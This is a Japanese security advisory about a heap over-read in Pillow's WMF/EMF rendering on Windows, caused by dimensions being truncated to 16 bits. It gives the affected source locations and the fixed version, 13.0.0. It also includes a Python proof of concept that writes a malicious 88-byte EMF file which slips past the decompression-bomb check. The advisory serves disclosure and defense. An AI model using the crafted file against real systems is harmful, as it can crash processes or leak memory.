Pillow: WMF/EMFレンダリングにおける16ビットの次元切り捨てによるヒープオーバーリード(Windows版)
### 概要
Windows版のPillowでは、EMFおよびWMF画像の寸法を範囲チェックなしで保存し、ネイティブの`drawwmf`ハンドラに渡しています。そのコードは、16ビットのヘッダーフィールドに切り捨てられた寸法に基づいてメモリ領域を確保しますが、結果をコピーする際にはフル32ビットの寸法を使用します。特定の条件を満たすメタファイルは、圧縮爆弾のチェックを通過しますが、ヒープオーバーリードを引き起こします。
### 詳細
EMFの処理部分は、符号付き32ビットのヘッダーフィールドから直接サイズを計算し、正または範囲のチェックなしで保存します。
- `src/PIL/WmfImagePlugin.py:121-129` はバウンディングボックスを読み込み、`:148` で保存します。このサイズは、`src/PIL/WmfImagePlugin.py:56` を通じてネイティブハンドラに渡されます。
ネイティブハンドラでは、DIBヘッダーのフィールド `bcWidth` と `bcHeight` は16ビットであり、メモリ確保時に切り捨てが行われます。一方、コピーの長さは切り捨てられていない整数を使用します。
- `src/display.c:793-794` は16ビットのフィールドを代入します。
- `src/display.c:800` はこれらの値からメモリ領域のサイズを決定します。
- `src/display.c:827` は `height * ((width * 3 + 3) & -4)` バイトを、フル値を使用してコピーします。
このハンドラは、Windowsでのみコンパイルされます (`#ifdef _WIN32`, `src/display.c:33-841`)。
### PoC (概念実証)
```python
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# 最小限のEMFヘッダー。バウンディングボックスは70000 x 1なので、ピクセル数 (70000) は
# 圧縮爆弾のチェックを通過しますが、幅はメモリ確保時に16ビットに切り捨てられ、
# コピーには70000が使用されます。
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (非ゼロ、DPI計算に使用)
emf += b" EMF" # オフセット40にシグネチャ
emf += bytes(44)
open("poc.emf", "wb").write(emf)
```
im = Image.open("poc.emf")
print("サイズ:", im.size, "ピクセル数:", im.size[0] * im.size[1])
im.load() # Windows環境では、ここで過剰な読み込みが発生します。
Linux環境では、最初の部分が確認できます。88バイトのファイルが開かれ、`size`が`(70000, 1)`となり、爆弾チェックが通過します。ネイティブな過剰読み込みは、Windows環境でのみ発生します。これは、`Image.core.drawwmf`が他の環境ではコンパイルアウトされるためです(Linux環境では、`im.load()`で`OSError`が発生します)。
### 影響
CWE-125:Windows環境のC拡張モジュールにおける、範囲外の読み込み。ピクセルチェックを通過する悪意のあるEMFまたはWMFファイルは、ヒープバッファを超えてデータを読み込み、メモリリークを引き起こしたり、プロセスをクラッシュさせたりする可能性があります。
影響を受けるパッケージ:
- pip (Python) Pillow: 13.0.0未満が影響を受け、13.0.0で修正されました。